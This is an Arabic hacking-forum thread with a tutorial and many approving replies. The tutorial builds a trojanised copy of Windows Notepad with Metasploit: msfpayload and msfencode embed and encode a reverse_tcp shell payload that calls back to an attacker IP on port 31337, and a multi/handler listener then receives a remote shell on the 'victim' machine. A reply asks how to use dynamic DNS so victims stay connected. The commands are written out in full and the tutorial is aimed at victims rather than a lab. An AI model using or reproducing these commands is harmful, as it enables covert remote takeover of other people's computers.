تكوين وتشفير سيرفر بالميتا وتبليغ من خلال الإتصال العكسي

[BLACK.JaGuAr]

http://www.samygames.com/forumim/basmla/68565.gif
http://www.samygames.com/forumim/slam/6867867.gif


تحية لكم ياأعضاء منتديات جيوش الهكرز ، اليوم إن شاء الله راح نتناول موضوع جديد ولم يسبق وأن طرح يعني جميع الحقوق محفوظة لمنتديات جيوش الهكرز ....


مثل ماذكرنا لاحقا راح نقوم بتكوين ملف عبارة عن سيرفر وسوف نقوم بتشفيرة ومن ثم تجربة التبليغ ، تم تطبيق النظرية ببرنامج metasploit الإصدار رقم 3-3 لنتابع الشرح من خلال الصور


راح نستخدم أداة cygwin shell المرفقة مع البرنامج ونقوم بالوصول اليها وفتحها كما هو موضح في الصورة التالية:


http://www.aljyyosh.info/upfiles/DOp14956.jpg


بعد مانفتح الأداة نكتب الأمر التالي لمعاينة خيارات البايلودات المتاحة :


msfpayload -h


وسيتم تحديد استخدام البايلود المتاح كما في الصورة التالية :



http://www.aljyyosh.info/upfiles/cQO14956.jpg



بعد ذلك سنقوم باستعراض الأوامر المساعدة لأمر التشفير من خلال كتابتنا للكود التالي :


msfencode -h


وسوف تظهر لنا الأوامر المساعدة كما هو موضوح بالصورة التالية :



http://www.aljyyosh.info/upfiles/z3i14957.jpg


من خلال ماسبق سنقوم باستعراض قائمة التشفير المتاحة لإستخدام أفضلها ، ونقوم بكتابة الأمر التالي لعرض القائمة :


msfencode -l


وبموجب الأمر السابق سيتم ظهور قائمة بالتشفير سيتم استخدامنا لكود التشفير المحدد برقم 2 كما في الصورة التالية :



http://www.aljyyosh.info/upfiles/6lj15107.jpg


الأن حددنا نقطتين سيتم استخادمها وبقي لنا نقطة وهي معرفة خيارات module للأوامر المساعدة للأكسبلويت ، ونقوم باستعراضها من خلال الأمر التالي :


msfcli -h


وبموجب ذلك سوف تظهر لنا الأوامر المساعدة لعرض الخيارات كما بالصورة التالية :



http://www.aljyyosh.info/upfiles/Dv614957.jpg


سنقوم باستخدام الأمر s مع البايلود الذي حددناه في أول خطوة لعرض الخيارات ويهمنا فيها خيارات التبليغ ، ونطبق ذلك من خلال الأمر التالي :


msfpayload windows/shell/reverse_tcp s


من خلال الأمر السابق سوف تظهر لنا خيارات كما في الصورة التالية :




http://www.aljyyosh.info/upfiles/z3i14957.jpg


حلو الأن عرفنا كافة المعلومات إلي راح نحتاجها وبقي لنا قبل التطبيق ، أن نقوم بتوفير أي برنامج لنحوله إلى سيرفر ، أنا أخترت برنامج المفكرة تبع الويندوز ( notepad ) وسوف نقوم بتوفيرها من خلال نسخها من مجلد windows الموجود بالقرص سي ولصقها داخل مجلد ( black ) في برنامج الميتاسبلويت طبعا اسم المجلد عندي بلاك يعني بحسب المستخدم ، الصور التالية ستوضح لكم الفكرة بشكل ممتاز ، لنتابع



http://www.aljyyosh.info/upfiles/TgQ15107.jpg


http://www.aljyyosh.info/upfiles/ZOk15107.jpg


الأن نجي لأمر تطبيق النقاط السابقة بشكل كامل ، بمعنى تحديد بايلود التبليغ وكود التشفير والأي بي تبعنا او الهوست لإستقبال الإتصال بالإضافة إلى تحديد المنفذ ، ويتم كل ذلك من خلال كتابتنا للأمر التالي :


msfpayload windows/shell/reverse_tcp LHOST=89.189.94.49 LPORT=31337 R | msfencode -x NOTEPAD.exe -t exe -e x86/shikata_ga_nai -o reverseNOTEPAD.exe


مثل ماتشوفوا حددنا كافة الخيارات بالإضافة إلى صيفة الملف الناتج وهو تنفيذي ، والصورة التالية توضح تنفيذنا للأمر



http://www.aljyyosh.info/upfiles/MaO15107.jpg


وحتى نتأكد من أنه تم تنفيذ الأمر نذهب لمجلد المستخدم داخل مجلدات برنامج الميتا في نفس المكان الذي لصقنا فيه المفكرة وفي حالة نجاح الأمر بإذن الله سوف تظهر لنا النتيجة كما بالصورة التالية



http://www.aljyyosh.info/upfiles/KMp15107.jpg


مثل ماشفنا العملية نجحت والحمد لله وأصبح لدينا مفكرتين وحدة تبع الوبندوز الأصل والأخرى نحن قمنا بتكوينها ، وفيما يلي صورة توضح المقارنة بين المفكرتين وهي تدل على أن النسخة الذي قمنا بتكوينها مطابقة للنسخة الأصلية ....


http://www.aljyyosh.info/upfiles/hQF15215.jpg



ياسلام شغل نظيف جدا ، الأن نقوم وقبل تجريب التبليغ نقوم بكتابة الكود التالي لتشغيل الأكسبلويت :


msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=89.189.94.49 LPORT=31337 E


إذا كانت خطواتنا صح سوف يظهر لنا قبول التنفيذ كما في الصورة التالية :


http://www.aljyyosh.info/upfiles/rO815215.jpg


ياسلام تم تشغيل الإكسبلويت ، الأن الأكسبلويت بانتظار التبليغ ، وكيف يجي التبليغ ؟؟؟ طبعا يجي اذا قمنا بفتح السيرفر الذي قمنا بتكوينه وهو المفكرة المزورة ، والصورتين التالية توضح ماذا يحدث عند فتح السيرفر ووصول التبليغ وعملية التطبيق



http://www.aljyyosh.info/upfiles/Cq715215.jpg


الصورة السابقة توضح تطبيق الأكسبلويت وظهور التبليغ والمنفذ المفتوح ومن ثم ظهور نافذة دوس الخروف وبالتالي امكانية تطبيقنا لكافة اوامر الدوس على جهاز الخروف ..


http://www.aljyyosh.info/upfiles/kdV15215.jpg


نسأل الله أن نكون قد وفقنا بشرح الموضوع ، وأذكر بأن جميع الحقوق محفوظة لمنتديات جيوش الهكرز ، وإلى لقاء أخر إن شاء الله في موضوع حصري جديد


ودمتم سالمين

[هاوي حنانك]

شرف لي أن اكون اول من يرد على هذا الموضوع المميز والحصري ,,,,دائما تبهرنا بمواضيعك الرااائعه

والتي لها الاثر الملموس في رقي هذا الصرح الشامخ ,,,,,,

دمت في تألق وابداع ,,,,

[Mr.Killer]

مشكوووووور والله يعطيك الف عافيه

[only4you]

مشكوووور على هذا الموضوع الرائع
واتمنى منك ان تستمر على هذا المنوال

[haitham5]

مشكووووور اخي بلاك

[ASDELY-ScOrPiOn]

موضوع في قمة الروعة
الله عليك يا إبن اليمن

مبدع كما عودتنا جميعا

إلى الأمام

تحياتي لك...

[New0h]

شكرا يا بيه ع الشرح ،، و سؤالين لو سمحت ...

-------- الأول --------
أول حاجه في تكوين ال PayLoad كان ال LHOST = 89.189.94.49
و مع ذلك ال session مفتوحه علي جهاز أخر (89.189.95.20) هو Attacker و ال Victim في نفس الوقت... السبب إيه ؟؟؟؟
----------------------

-------- الثاني --------
إستشارة قانونيه يا كبير : هل ينفع نستخدم ال no-ip أو أي طريقه لعمل PayLoad يتصل بالإسم بدل ال IP ... يعني مثلا:
بدل ما نكون ال PayLoad بالطريقه دي:
..... PAYLOAD=windows/shell/reverse_tcp LHOST=89.189.94.49 LPORT=31337 ......
نكتبها كده:
.... PAYLOAD=windows/shell/reverse_tcp LHOST=example.no-ip.biz LPORT=31337 ......
و لو ما ينفعش ، هل فيه وسيله أخري .. الغرض هو إني أضمن ثبات الضحيه في حالة إذا ما تغير ال IP بتاعي (علي أساس إني الهاكر !!)
------------------------

منتظر ردك ، و تسلم إيدك ع الشرح الجميل ....

بقول لك إيه :p
إنت بتستخدم برنامج إيه في تصوير الشاشه ... ؟؟؟ اللي بيعمل الأسهم و الترقيمات دي ؟؟؟؟؟

[BLACK.JaGuAr]

شكرا يا بيه ع الشرح ،، و سؤالين لو سمحت ...

-------- الأول --------
أول حاجه في تكوين ال PayLoad كان ال LHOST = 89.189.94.49
و مع ذلك ال session مفتوحه علي جهاز أخر (89.189.95.20) هو Attacker و ال Victim في نفس الوقت... السبب إيه ؟؟؟؟
----------------------
بالنسبة جا بسبب اني كملت الشرح ثاني يوم وكان الاي بي وقتها تغير المهم في هذة النقطة هو الهوست ، حتى وان كان تبع النو اي بي
-------- الثاني --------
إستشارة قانونيه يا كبير : هل ينفع نستخدم ال no-ip أو أي طريقه لعمل PayLoad يتصل بالإسم بدل ال IP ... يعني مثلا:
بدل ما نكون ال PayLoad بالطريقه دي:
..... PAYLOAD=windows/shell/reverse_tcp LHOST=89.189.94.49 LPORT=31337 ......
نكتبها كده:
.... PAYLOAD=windows/shell/reverse_tcp LHOST=example.no-ip.biz LPORT=31337 ......
و لو ما ينفعش ، هل فيه وسيله أخري .. الغرض هو إني أضمن ثبات الضحيه في حالة إذا ما تغير ال IP بتاعي (علي أساس إني الهاكر !!)
------------------------

منتظر ردك ، و تسلم إيدك ع الشرح الجميل ....

بقول لك إيه :p
إنت بتستخدم برنامج إيه في تصوير الشاشه ... ؟؟؟ اللي بيعمل الأسهم و الترقيمات دي ؟؟؟؟؟

برنامج SnagIt 9

[New0h]

ألف شكر علي الرد و الإهتماااام ...
بس إنت ما رديتش علي سؤالي التاني :: بخصوص النو آي بي مع تكوين الباي لوود ؟؟؟؟؟؟
أو طريقه لتثبيت الضحايا لما أنفذ الإختراق علي جهاز في شبكة خارجيه (wan) ... منتظرك يا زعيم

[nop]

اخوي الصور ما تظهر ممكن لو تعيد ارفاق الصور لو سمحت

[millen!um]

مشكور أخي بلاك على الموضوع الرائع أنا جربت الطريقة و الحمد لله تعمل بشكل جيد

[bibs07]

تشكر والله

[bibs07]

ابداع الله يثبتك

[Resident Evil]

اللـــه علـيك ياملك شرح آحترافي دمت للجــيوووش

[Crazy.meta]

ثانكس يا كنق

[askemo24]

اقسم بالله اني مقهور
ماني عارف اي شئ وابي اتعلم ولا فيه احد يعلمني الدروس مااعرف لها ياليت واحد يكلمني ويفهمني لأنه اذا اساسا بعض المصطلحات مااعرفها كيف افهمها؟؟

[samilakehal]

والله ممتاز يا اخي على الموضوع يا غالي

[عراقي الهوا]

الف شكر على الشرح

[رمز الهكر]

الصور تظـــــــــــــهر اخوي مشكووور يا غالي

[haker emo]

مشكورررررررررررررررررررر

[0zeko0]

بارك الله فيك اخي دايما مواضيعك مميزة ي كبير تحياتي لك~

[zaizo max]

ديما اقول مش غريبة ان تكون دى شروحاتك
شكرااااااااااا على معلوماتك ولو ان الرد اكيد متاخر جدا

[jihad110]

شكرا على الشرح

[sssssss]

مشكووووووووووووور يا مبدع:):):cool:

[jaroud007]

مشكور اخي و جزاك الله الف خيرو الله االله ينورك اخي جميل
تقبل مروري موفق بإذن الله ... لك مني أجمل تحية .

....قَالَ رَسُولُ اللَّهِ صلى الله عليه وسلم ‏
(("‏‏ مَنْ سُئِلَ عَنْ عِلْمٍ فَكَتَمَهُ أَلْجَمَهُ اللَّهُ بِلِجَامٍ مِنْ نَارٍ يَوْمَ الْقِيَامَةِ ‏"‏‏ )).

فَقَاتِلْ فِي سَبِيلِ اللَّهِ لا تُكَلَّفُ إِلا نَفْسَكَ وَحَرِّضِ الْمُؤْمِنِينَ
عَسَى اللَّهُ أَنْ يَكُفَّ بَأْسَ الَّذِينَ كَفَرُوا وَاللَّهُ أَشَدُّ بَأْسًا وَأَشَدُّ تَنْكِيلا

وقوله تعالى :

[ وَلاَ تَحْسَبَنَّ الَّذِينَ قُتِلُواْ فِي سَبِيلِ اللّهِ أَمْوَاتاً بَلْ أَحْيَاء عِندَ رَبِّهِمْ يُرْزَقُونَ{169} فَرِحِينَ بِمَا آتَاهُمُ اللّهُ مِن فَضْلِهِ وَ يَسْتَبْشِرُونَ بِالَّذِينَ لَمْ

يَلْحَقُواْ بِهِم مِّنْ خَلْفِهِمْ أَلاَّ خَوْفٌ عَلَيْهِمْ وَلاَ هُمْ يَحْزَنُونَ{170} يَسْتَبْشِرُونَ بِنِعْمَةٍ مِّنَ اللّهِ وَفَضْلٍ وَأَنَّ اللّهَ لاَ يُضِيعُ أَجْرَ الْمُؤْمِنِينَ{171} ]

سورة آل عمران

( قُلْ إِنَّ صَلَاتِي وَنُسُكِي وَمَحْيَايَ وَمَمَاتِي لِلَّهِ رَبّ الْعَالَمِينَ، لَا شَرِيكَ لَهُ وَبِذَلِكَ أُمِرْتُ وَأَنَا أَوَّلُ الْمُسْلِمِينَ )

صدق الله العضيم
سبحان الله عدد ما كان وعدد ما سيكون وعدد الصمت والسكون
الا ان حزب الله هم الغالبون
لن تركع امة قائدها محمد (ص)

لا تأسف على الزمان لطالما بلت على جتث الاسود كلاب لا قصدها ان تعلوا على اسياديها تبقى الاسود أسود وكلاب كلا تبقى الاسود

مخيفة في اسرها حتى وان نبحت عليها الكلاب

قـُل مآشئـت في مسبتـي فسكُوتي عن آلحقيـرٍ .. جوٍآإب ..
ليس ضعفا مني ولكن مامن اسد يرد على خطب..الكلاب ...
تعلم للمنفعة أو لرد الضرر
مشكور اخي
__________________
قال: الرسول صلى الله عليه وسلم

1- { من ترك صلاة الفجر فليس في وجه نور }
2- { من ترك صلاة الظهر فليس في رزقة بركه }
3- { من ترك صلاةالعصرفليس في جسمه قوة }
4- { من ترك صلاة المغرب فليس في أولادة ثمرهـ}
5- { من ترك صلاة العشاء فليس فينومه رأحه}
مشكور اخي

قال رسول الله صلى الله عليه وآله وسلم : 'الحمد لله الذي تواضع كلُّ شيء لعظمته، الحمد لله الذي استسلم كلُّ شيء لقدرته، الحمد لله الذي ذلَّ كلُّ شيء لعزته، الحمد لله الذي خضع كل شيء لملكه
من قال هذا الدعاء مرة واحدة، تكتب له 1000 حسنة ويرفع به 1000 درجة، ويوكل الله له 70000 ملك يستغفرون له إلى يوم القيامة .
حق على من سمع هذا الدعاء يعلمه لغيره ……والدال على الخير كفاعله
لا تحسبوا رقصي بينكم طربا ***فإن الطير يرقص مدبوحا من شدة الإلم

[sssssss]

مشكوووووور ابداع +تالق مرسي واصل

[سارة الغامدي]

يسلمؤؤؤؤؤؤ .

[sarahassan]

عاشت الايااااااادي

[sarahassan]

ابداااااااااااع

[haker.abode]

شكرااا على جهودك شرح مفصل وممتاز وواضح واصل الإبداع يامبدع

[ندى العنزي]

مشكووووووووور يعطيك العافيه

[هكرووك]

مشكوووووووووووووووور